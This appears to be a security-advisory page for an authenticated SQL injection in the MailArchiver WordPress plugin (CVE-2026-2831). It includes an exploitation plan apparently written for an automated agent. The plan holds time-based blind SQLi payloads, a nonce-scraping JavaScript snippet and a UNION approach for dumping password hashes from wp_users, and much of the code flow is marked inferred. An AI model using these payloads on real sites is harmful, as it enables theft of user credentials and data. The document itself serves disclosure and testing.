MailArchiver <= 4.5.0 - Authenticated (Admininistrator+) SQL Injection via 'logid' Parameter
Description
The MailArchiver plugin for WordPress is vulnerable to SQL Injection via the ‘logid’ parameter in all versions up to, and including, 4.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.5.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2831 - MailArchiver SQL Injection ## 1. Vulnerability Summary The **MailArchiver** plugin for WordPress (versions <= 4.5.0) is vulnerable to an authenticated SQL injection via the `logid` parameter. The vulnerability exists because the plugin fails to properly…
Show full research plan
Exploitation Research Plan: CVE-2026-2831 - MailArchiver SQL Injection
1. Vulnerability Summary
The MailArchiver plugin for WordPress (versions <= 4.5.0) is vulnerable to an authenticated SQL injection via the logid parameter. The vulnerability exists because the plugin fails to properly sanitize or prepare SQL queries when fetching specific mail log details from the database. An attacker with Administrator-level access can manipulate the logid parameter to execute arbitrary SQL commands, potentially leading to sensitive data extraction from the WordPress database.
2. Attack Vector Analysis
- Endpoint: Administrative dashboard, likely
wp-admin/admin.phporwp-admin/admin-ajax.php. - Vulnerable Parameter:
logid(likely via$_GETor$_REQUEST). - Authentication: Required (Administrator+).
- Action/Page: Likely a "View Log" or "Details" sub-page within the MailArchiver menu.
- Preconditions:
- Plugin installed and activated.
- At least one mail log must exist in the database (to trigger the vulnerable code path).
- Administrator credentials.
3. Code Flow (Inferred)
- The user navigates to the MailArchiver log management page.
- The user clicks to view details of a specific log entry.
- The request is sent to an admin page handler (e.g.,
admin_menucallback) or an AJAX handler. - The handler retrieves the
logidfrom the request:$logid = $_GET['logid'];. - The plugin constructs an SQL query using string concatenation:
$wpdb->get_row("SELECT * FROM {$wpdb->prefix}mailarchiver_logs WHERE id = " . $logid);(Inferred logic). - Because
$wpdb->prepare()is not used and the input is not cast to an integer or escaped, SQL injection occurs.
4. Nonce Acquisition Strategy
Administrative pages in WordPress almost always utilize nonces for CSRF protection (check_admin_referer or check_ajax_referer).
- Identify the Menu Slug: Search the code for
add_menu_pageoradd_submenu_pagein themailarchiverdirectory to find the log page slug. - Navigate: Use
browser_navigateto the identified admin page. - Extract Nonce:
- If the exploit is via a URL link: The nonce is usually in the
_wpnoncequery parameter. - If the exploit is via a form/AJAX: The nonce is often localized in a JS variable or a hidden input.
- Recommended Action: Navigate to the logs list page and use
browser_evalto find the "View" link for an existing log:// Example: Find the first link that contains 'logid' and extract its _wpnonce Array.from(document.querySelectorAll('a')) .find(a => a.href.includes('logid')) ?.href.match(/_wpnonce=([a-f0-9]+)/)?.[1]
- If the exploit is via a URL link: The nonce is usually in the
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload to confirm the vulnerability, as it is the most reliable method when output might not be directly reflected.
Step-by-Step Plan:
- Login: Use
http_requestto authenticate as an administrator. - Generate Test Data: Ensure at least one log entry exists (see section 6).
- Identify Endpoint: Locate the exact URL for viewing a log (e.g.,
/wp-admin/admin.php?page=mailarchiver-logs&action=view&logid=1). - Extract Nonce: Use
browser_navigateandbrowser_evalas described in section 4. - Execution (Baseline): Send a legitimate request to the endpoint and measure response time.
- Execution (Attack): Send a request with a
SLEEPpayload in thelogidparameter.
Sample Request:
- Method: GET
- URL:
http://localhost:8080/wp-admin/admin.php - Query Parameters:
page:mailarchiver_logs(inferred)action:view(inferred)logid:1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)_wpnonce:[EXTRACTED_NONCE]
6. Test Data Setup
- Activate Plugin: Ensure
mailarchiveris active. - Create Admin: Ensure an admin user exists (default:
admin/password). - Generate a Log:
- Send a test email using WordPress (e.g., password reset request or a test mail plugin).
- Alternatively, use WP-CLI to insert a dummy log if the table schema is known:
wp db query "INSERT INTO wp_mailarchiver_logs (subject, recipient) VALUES ('Test Subject', 'test@example.com')"(Note: Agent must verify table name first usingwp db tables).
7. Expected Results
- Baseline Request: Responds in < 500ms.
- Attack Request: Responds in > 5000ms.
- Error-Based (Optional): If
WP_DEBUGis on, providinglogid=1'may return a database syntax error in the HTML.
8. Verification Steps
After the HTTP request, verify the injection's reach by extracting the database version:
- Payload:
logid=1 AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a) - If the delay occurs, we have confirmed the ability to exfiltrate data character-by-character.
9. Alternative Approaches
- UNION-Based: If the log details are displayed on the page, attempt to find the column count using
ORDER BYand then useUNION SELECTto displayuser_passfromwp_usersin place of the log body. - AJAX Endpoint: Check if the view action is handled via
admin-ajax.php. Search foradd_action('wp_ajax_mailarchiver_.... If found, the request should be a POST towp-admin/admin-ajax.phpwith theactionandlogidparameters.
Discovery Commands for the Agent:
# 1. Find where logid is used in queries
grep -rP '\$wpdb->.*logid' wp-content/plugins/mailarchiver/
# 2. Find the admin menu registration to get the 'page' slug
grep -r "add_menu_page" wp-content/plugins/mailarchiver/
# 3. Check for nonce verification in the handler
grep -rE "check_admin_referer|check_ajax_referer|wp_verify_nonce" wp-content/plugins/mailarchiver/
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.